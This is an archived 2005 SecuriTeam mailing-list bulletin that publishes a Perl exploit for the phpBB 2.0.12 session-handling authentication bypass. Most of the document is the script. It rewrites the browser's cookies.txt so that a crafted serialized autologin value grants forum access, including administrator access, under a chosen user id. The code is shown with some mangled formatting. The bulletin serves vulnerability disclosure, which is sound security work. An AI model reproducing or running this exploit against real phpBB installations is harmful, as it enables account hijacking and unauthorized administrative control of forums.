

# [EXPL] phpBB UID Exploit (Perl exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0070.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 03/17/05

To: list@securiteam.com

Date: 17 Mar 2005 10:22:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

phpBB UID Exploit (Perl exploit)

---

## SUMMARY

" <<http://www.phpbb.com/>> phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package."

This exploit modifies the UID field in the cookies.txt file of Mozilla's browsers in such a way that when the browser will try to access the phpBB forum it will be granted access with the user\_id provided rather than the original one.

## DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
# phpBB 2.0.12 Session Handling Administrator Authentication
```

```
# Bypass EXPLOIT
```

```
# written by phuket
```

```
#
```

```
# The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
```

```
for this bug.
```

```
# http://packetstormsecurity.org/0503-exploits/phpbbsession.c
```

## Securiteam: [EXPL] phpBB UID Exploit (Perl exploit)

```
#
#

# I tested this code with Firefox on my linux box, I do not know if it
works with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look
at cookies.txt for the name of the cookie

# I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication
# Bypass -SIMPLIFIED-" By PPC^Rebyte
# and it is based on his code
#
# Sorry for my bad english :/

$file = "////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'.$file" ) or die ('File does not exist') ; # path to
your
cookies.txt file
@cookie= <FILE> ;
close FILE ;

$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs".
"%3A6%3A%22userid%22%3Bs%3A1%3A%22%22%3B%7D";

foreach $i (@cookie)
{
if ($i =~ /$url/) {

$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22".
"%3Bs%3A6%3A%22userid%22%3Bs%3A(*?)%3A%22(*?)%22%3B%7D/$exploit/;
print "OK\n" ;
}

}

open (FILE , '>'.$file" ) or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and
Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket

EOF

ADDITIONAL INFORMATION
```

Securiteam: [EXPL] phpBB UID Exploit (Perl exploit)

The information has been provided by <mailto:thephuket@spymac.com> The Phuket.

Another exploit for the phpBB UID vulnerability can be found:

<<http://www.securiteam.com/exploits/5KP0C0UF5M.html>>

<http://www.securiteam.com/exploits/5KP0C0UF5M.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.